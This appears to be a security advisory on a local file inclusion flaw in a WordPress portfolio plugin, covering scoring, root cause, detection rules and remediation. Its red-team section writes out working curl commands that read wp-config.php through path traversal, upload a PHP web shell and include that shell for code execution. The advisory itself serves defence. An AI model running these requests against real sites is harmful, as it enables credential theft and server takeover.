CVE-2025-12497

Executive Summary

CVE-2025-12497 is a critical Local File Inclusion (LFI) vulnerability affecting the Premium Portfolio Features for Phlox WordPress plugin (auxin-portfolio) in all versions up to and including 2.3.10. The flaw resides in the args[extra_template_path] parameter, which is not properly sanitized, allowing an unauthenticated attacker to include and execute arbitrary .php files from the server. This can lead to remote code execution (RCE), access control bypass, and sensitive data disclosure. The vulnerability is particularly dangerous because it requires no authentication and can be exploited over the network with low complexity. As a WordPress ecosystem issue, this affects sites using the Phlox theme with the premium portfolio add-on.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the WordPress plugin repository and commercial marketplaces. Users should verify the integrity of their plugin files and ensure they are obtained from trusted sources. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors exploiting unpatched installations.

CVSS Breakdown & Threat Level

• CVSS Score: 8.1 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

The high CVSS score reflects the ease of exploitation and the severe impact on confidentiality, integrity, and availability. An unauthenticated attacker can achieve full server compromise.

Deep Dive & Mechanics

The vulnerability is a classic Local File Inclusion (LFI) that occurs in the auxin-portfolio plugin. The plugin uses a parameter args[extra_template_path] to specify an alternative template path for rendering portfolio items. Due to insufficient input validation, an attacker can supply a path traversal sequence (e.g., ../../) to include arbitrary PHP files from the server.

Root Cause: The plugin fails to sanitize the args[extra_template_path] parameter before passing it to a PHP function like include() or require(). This allows an attacker to control the file path and include files outside the intended directory.

Exploitation Scenario:

1. An attacker identifies a WordPress site running the vulnerable plugin.
2. The attacker sends a crafted HTTP request to a vulnerable endpoint, such as:

   POST /wp-admin/admin-ajax.php HTTP/1.1
   Host: target.com
   Content-Type: application/x-www-form-urlencoded
   
   action=auxin_portfolio_load_more&args[extra_template_path]=../../../../wp-config.php
   

3. The server includes the wp-config.php file, exposing database credentials and other sensitive configuration data.
4. If the attacker can upload a malicious .php file (e.g., via a media upload feature), they can include that file to achieve remote code execution.

WordPress Ecosystem Context: This vulnerability is specific to the WordPress plugin and does not involve the web server (Apache/Nginx) itself. The attack surface is the plugin's AJAX handler.

Vulnerable vs. Patched Code

Since no official patch is available, the vulnerable code is presumed to be in the plugin's main PHP file (e.g., auxin-portfolio.php or a template loader). A typical vulnerable pattern:

Vulnerable Code (Conceptual):

$extra_template_path = $_POST['args']['extra_template_path'];
include( $extra_template_path . '/template.php' );

Patched Code (Hypothetical):

$allowed_paths = array( 'default', 'custom' );
$extra_template_path = $_POST['args']['extra_template_path'];
if ( in_array( $extra_template_path, $allowed_paths ) ) {
    include( plugin_dir_path( __FILE__ ) . 'templates/' . $extra_template_path . '/template.php' );
} else {
    // Fallback to default
    include( plugin_dir_path( __FILE__ ) . 'templates/default/template.php' );
}

The patched version would validate the input against a whitelist of allowed paths and restrict inclusion to the plugin's own template directory.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress instance with the auxin-portfolio plugin version <= 2.3.10.
• Network access to the target.

Exploitation Steps:

1. Identify the vulnerable endpoint: The plugin uses AJAX actions like auxin_portfolio_load_more. Use a tool like Burp Suite or curl to probe.

2. Craft the payload: Use path traversal to include sensitive files.

   Example: Include wp-config.php

   curl -X POST http://target.com/wp-admin/admin-ajax.php \
   -d "action=auxin_portfolio_load_more&args[extra_template_path]=../../../../wp-config"
   

   Example: Include a malicious uploaded file

   curl -X POST http://target.com/wp-admin/admin-ajax.php \
   -d "action=auxin_portfolio_load_more&args[extra_template_path]=../../../../wp-content/uploads/2025/01/shell"
   

3. Achieve RCE: If you can upload a PHP web shell (e.g., via the WordPress media uploader or a vulnerable plugin), include it to execute commands.

   Upload shell via media:

   curl -X POST http://target.com/wp-admin/async-upload.php \
   -F "async-upload=1" \
   -F "name=shell.php" \
   -F "media=@shell.php"
   

   Then include it:

   curl -X POST http://target.com/wp-admin/admin-ajax.php \
   -d "action=auxin_portfolio_load_more&args[extra_template_path]=../../../../wp-content/uploads/2025/01/shell"
   

Blue Team (Detection & Response)

Detection Steps:

1. Monitor web server logs for suspicious POST requests to admin-ajax.php with the parameter args[extra_template_path] containing path traversal sequences (e.g., ../).
2. Look for unusual file inclusion patterns, such as attempts to include wp-config.php, /etc/passwd, or other sensitive files.
3. Check for unexpected file uploads in the WordPress media library that contain PHP code.

Response:

1. Immediately isolate the affected WordPress instance.
2. Review file inclusion logs to determine the extent of the compromise.
3. Remove any malicious files uploaded to the server.
4. Apply a virtual patch using a WAF (Web Application Firewall) to block the vulnerable parameter.
5. Disable or remove the auxin-portfolio plugin until an official patch is available.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP POST requests to /wp-admin/admin-ajax.php with action=auxin_portfolio_load_more and args[extra_template_path] containing ../ or absolute paths.
  • Outbound connections from the web server to unknown IPs (possible C2 traffic).

• File System IOCs:

  • Unexpected .php files in the WordPress uploads directory (/wp-content/uploads/).
  • Modified or new files in the plugin directory (/wp-content/plugins/auxin-portfolio/).
  • Presence of web shells (e.g., shell.php, cmd.php) in the web root.

• Log IOCs:

  • Web server access logs showing admin-ajax.php requests with args[extra_template_path] parameter.
  • PHP error logs indicating failed includes or warnings about file paths.

Detection Engineering

YARA Rule

rule CVE_2025_12497_LFI_WordPress {
    meta:
        description = "Detects attempts to exploit CVE-2025-12497 in auxin-portfolio plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-12497"
        severity = "critical"

    strings:
        $param = "args[extra_template_path]" ascii wide nocase
        $path_traversal = "../" ascii wide
        $wp_config = "wp-config" ascii wide nocase

    condition:
        $param and ($path_traversal or $wp_config)
}

Sigma Rule

title: CVE-2025-12497 LFI Exploitation Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP POST requests to admin-ajax.php with path traversal in args[extra_template_path]
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'args[extra_template_path]'
        cs-uri-query|contains: '../'
    condition: selection
falsepositives:
    - Legitimate use of custom template paths (unlikely)
level: high

Suricata Rule

alert http any any -> any any (
    msg:"CVE-2025-12497 - WordPress auxin-portfolio LFI Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"args[extra_template_path]"; http_client_body;
    content:"../"; http_client_body;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
    reference:cve,2025-12497;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin: If the auxin-portfolio plugin is not critical, deactivate and delete it until a patch is available.
2. Web Application Firewall (WAF): Create a custom rule to block requests containing args[extra_template_path] with path traversal sequences.
3. Input Validation: If you have access to the plugin code, implement a whitelist of allowed template paths and validate the input against it.

Long-term Fix:

• Monitor the plugin vendor (Auxin) for an official patch. Apply it as soon as it is released.
• Consider replacing the plugin with an alternative that is actively maintained and secure.
• Implement a WordPress security plugin that provides virtual patching for known vulnerabilities.

Workaround:

• Restrict access to admin-ajax.php using .htaccess or server configuration to only allow authenticated requests where possible, though this may break legitimate functionality.

Valters IT
Securing Digital Frontiers